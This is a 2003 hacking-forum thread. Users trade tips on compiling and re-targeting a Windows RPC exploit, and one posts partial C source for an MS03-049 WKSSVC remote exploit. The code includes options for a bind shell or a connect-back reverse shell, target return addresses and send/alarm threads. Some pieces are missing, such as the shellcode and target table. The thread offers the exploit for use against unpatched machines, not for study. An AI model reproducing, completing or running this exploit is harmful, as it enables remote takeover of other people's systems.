hey mate.. becareful of compilation request cause u can get ur azz kicked
w00dy
Dec 5 2003, 06:02 AM
Not helpful for most people as its for Russion offset
Anarchy
Dec 5 2003, 10:07 AM
very good~ i saw it on securitylab.ru too
Jinco77
Dec 5 2003, 01:24 PM
cant you just switch the offsets from the english rpc1 or 2?
UnDeRTaKeR
Dec 5 2003, 02:33 PM
be very carfull when asking for compiling... (read the rules)
hifil0wlife
Dec 5 2003, 04:36 PM
>hey mate.. becareful of compilation request cause u can get ur azz kicked (yuliang11)
>be very carfull when asking for compiling... (read the rules) (UnDeRTaKeR)
dont repeat the same thing pls
>cant you just switch the offsets from the english rpc1 or 2? (Jinco77)
very interesting question. will try and then post the results.
antique
Dec 5 2003, 06:43 PM
My compilator back me a few errors .... the code is damage... or something like this or contain errors. anyone have correct wersion of source code ?
It's not compilation request!
T3cHn0b0y
Dec 5 2003, 07:52 PM
Well...if you got a russian xp sp0/sp1 box to test it on then I'll post the exploit...else it wont work.
antique
Dec 5 2003, 09:37 PM
I don't have rusian version of XP but when I'll have corect source code redy to compile without errors I'll try to make corect wersion for other wersion of XP (gerneralny English version)... so if someone can corect the cod then let me know.
Best redgards
Test24
Dec 5 2003, 10:54 PM
there is this one for windows 2000 if somebody can have a look at it because it is not the same one at the one who wasn't working
Microsoft Workstation Service WKSSVC Remote Exploit (MS03-049)
CODE
/* * Author: snooq * Date: 14 November 2003 * * +++++++++++++ THIS IS A PRIVATE VERSION +++++++++++++++ * * This is just slightly better than the one I posted to * packetstorm.... * * The public version will crash 'services.exe' immediately * while this one crash it only when u exit from shell.... * * I'm still trying to figure out a way to avoid the 'crash' * all together... any ideas???? * * Let me know if you hav trouble compiling this shit... * I hope this could be a good e.g for u to try Win32 * exploitation.. * * This code is crappy... if u know of a better way of doing * things... pls tell me....... * * Otherwise, if you guys r keen... I'll be more than happy * to go thru this in details wif u all... Meanwhile..enjoy! * * +++++++++++++++++++++++++++++++++++++++++++++++++ */
void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; port^=KEY; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n"); }
void usage(char *s) { banner(); printf("Usage: %s [options]\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-h\tTarget's IP\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n\n"); printf("\tNotes:\n\t======\n\t'-h' is mandatory\n"); printf("\t'-i' is mandatory if '-l' is specified\n\n"); exit(0); }
while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } }
}
void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } }
void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } }
int main(int argc, char *argv[]) {
char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr;
WSADATA wsd; SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break;
case 'I': interval=atoi(optarg); break;
case 'T': timeout=atoi(optarg); break;
case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break;
case 'i': ip=optarg; changeip(ip); break;
case 'l': mode=1; scsize=SC_SIZE_2; break;
case 'r': retsize=atoi(optarg); break;
case 's': sc_offset=atoi(optarg); break;
case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break;
case 'p': port=atoi(optarg); break;
case 'H': showtargets(); break;
default: usage(argv[0]); break; } }
if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }
